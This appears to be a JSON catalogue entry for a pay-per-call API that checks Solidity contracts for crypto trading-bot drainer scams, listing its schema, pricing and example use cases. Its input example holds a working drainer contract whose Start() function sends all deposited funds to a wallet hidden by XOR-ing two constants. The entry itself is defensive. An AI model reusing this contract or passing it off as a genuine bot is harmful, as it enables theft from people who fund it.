{"uid":"cap_YCqklGkiS7OhU7I7_7e7Z","slug":"manylives-bot-scam-check-3f04e5d0","name":"ManyLives Bot Scam Check","description":"Pay-per-call tools for people building AI agents: live web search and page contents, point-in-time crypto market data and news for backtests (no lookahead), verifiable track records of 1,000 crypto strategies locked on the Base network, company profiles, quick AI and batch prices. Ask us to turn a public website into a JSON endpoint. Pay per call, no account, free trial.","url":"https://api.manylives.me/paid/contract/bot-scam-check?utm_source=zero.xyz","method":"POST","headers":{},"bodySchema":{"type":"object","properties":{"source":{"type":"string","examples":["pragma solidity ^0.8.0;\n// MEV front-running bot. Minimum deposit 0.5 ETH.\ncontract Bot {\n  bytes32 apiKey = 0x8f3a5c0e9b7d2a14e6c3f5a8b0d9e2c4f7a1b3d5e8c0f2a4b6d8e0c2f4a6b8d0;\n  bytes32 apiSignature = 0x8f3a5c0e9b7d2a14e6c3f5a8a1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0;\n  function router(bytes32 a, bytes32 b) internal pure returns (address) { return address(uint160(uint256(a) ^ uint256(b))); }\n  function Start() public payable { payable(router(apiKey, apiSignature)).transfer(address(this).balance); }\n  receive() external payable {}\n}"],"description":"the whole Solidity source file you were given"}}},"responseSchema":{"type":"json","example":{"verdict":"matches the known trading-bot drainer pattern: do not fund this contract","findings":[{"why":"two 32-byte constants are XOR-ed to produce the wallet that receives the funds","lines":[8],"pattern":"payout address computed by XOR of constants","evidence":"address(uint160(uint256(a) ^ uint256(b)))","severity":"high"},{"why":"Start() sends everything the contract holds to the hidden wallet","lines":[9,10],"pattern":"sends the whole balance to an address other than the caller","evidence":"payable(r).transfer(address(this).balance)","severity":"high"}],"matches_known_scam":true}},"example":null,"exampleRequest":null,"tags":["x402"],"displayCostAmount":"0.003","displayCostAsset":"USDC","priceDynamic":false,"priceHint":null,"priceStatus":"priced","priceSource":"probe","requiresHandshake":false,"reviewCount":0,"rating":{"score":"0.00","successRate":"0.00","reviews":0,"stars":null,"state":"unrated"},"availabilityStatus":"unknown","priceObserved":null,"sessionDeposit":null,"pricing":{"kind":"static","summary":"$0.003/call","primary":{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.003","per":"call","confidence":"exact"},"accepted":[{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.003","per":"call","confidence":"exact"}]},"paymentMethods":[{"uid":"pm_JaqLwpklHEpRa7UtB_P2q","protocol":"x402","methodType":"crypto","chain":"base","mode":"charge","costAmount":"0.003","costPer":"request","priority":0,"asset":"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913","unit":"request","depositMicros":null,"planRef":null}],"brandName":null,"brandSlug":null,"brandBaseUrl":null,"brandDocsUrl":null,"whatItDoes":"Analyzes a Solidity smart contract source file to detect known crypto trading-bot drainer scam patterns and returns a verdict with detailed findings.","exampleAgentPrompt":"Someone sent me this Solidity contract for an MEV trading bot and asked me to deposit 0.5 ETH — can you check if it's a scam? Here's the source: `pragma solidity ^0.8.0; contract Bot { bytes32 apiKey = 0x8f3a...; function Start() public payable { payable(router(apiKey, apiSignature)).transfer(address(this).balance); } }`","exampleUseCases":[{"title":"Vetting a promoted MEV bot","prompt":"Someone in a Telegram group shared this Solidity bot contract and is asking people to deposit ETH — can you check it for drainer patterns before I send anything? Here's the full source code: `pragma solidity ^0.8.0; contract Bot { bytes32 apiKey = 0x8f3a5c0e...; function Start() public payable { payable(router(apiKey, apiSignature)).transfer(address(this).balance); } receive() external payable {} }`"},{"title":"Auditing a YouTube tutorial contract","prompt":"A YouTube video showed this 'free money MEV arbitrage' Solidity contract and said to just deploy it and fund it. Can you analyze the source code and tell me if it matches any known scam patterns before I touch it?"},{"title":"AI agent pre-flight safety check","prompt":"Before my agent automatically funds any smart contract it discovers, I want you to scan the Solidity source for known trading-bot drainer patterns and block it if the verdict is suspicious — here's the contract code to check first."}],"resultDescription":"A JSON object containing a 'verdict' string summarizing whether the contract matches a known scam pattern, a 'matches_known_scam' boolean, and a 'findings' array where each item describes a detected pattern with fields: 'pattern' (name of the suspicious code pattern), 'evidence' (exact code snippet), 'why' (plain-language explanation), 'lines' (line numbers), and 'severity' (e.g. 'high').","failureModes":["Missing or empty 'source' field returns a validation error","Non-Solidity or unparseable input may yield no findings or an inconclusive verdict","Novel scam patterns not in the known-pattern library may be missed (false negative)","Very large contracts may time out or incur higher latency","Payment failure via x402 protocol returns 402 before analysis is performed"],"whenToPreferThis":"Choose this endpoint when you need fast, structured scam detection specifically for Solidity smart contracts — particularly trading-bot drainer patterns that use obfuscated payout addresses (e.g. XOR of constants). It is purpose-built for the 'bot drainer' scam class common on Telegram and YouTube, returns machine-readable findings with severity and evidence, and costs only $0.003 per call with no account required. Prefer it over general-purpose LLM code review when you need a deterministic verdict and structured findings you can act on programmatically.","instructions":null,"reviewSummary":null,"reviewSummaryHighlights":null,"reviewSummaryConcerns":null,"reviewSummaryGeneratedAt":null,"activationCount":0,"lastUsedAt":null,"lastSuccessfullyRanAt":null,"lastHealthCheckAt":"2026-10-20T12:32:47.918Z","isFirstParty":false,"canonicalSlug":"manylives-bot-scam-check-3f04e5d0"}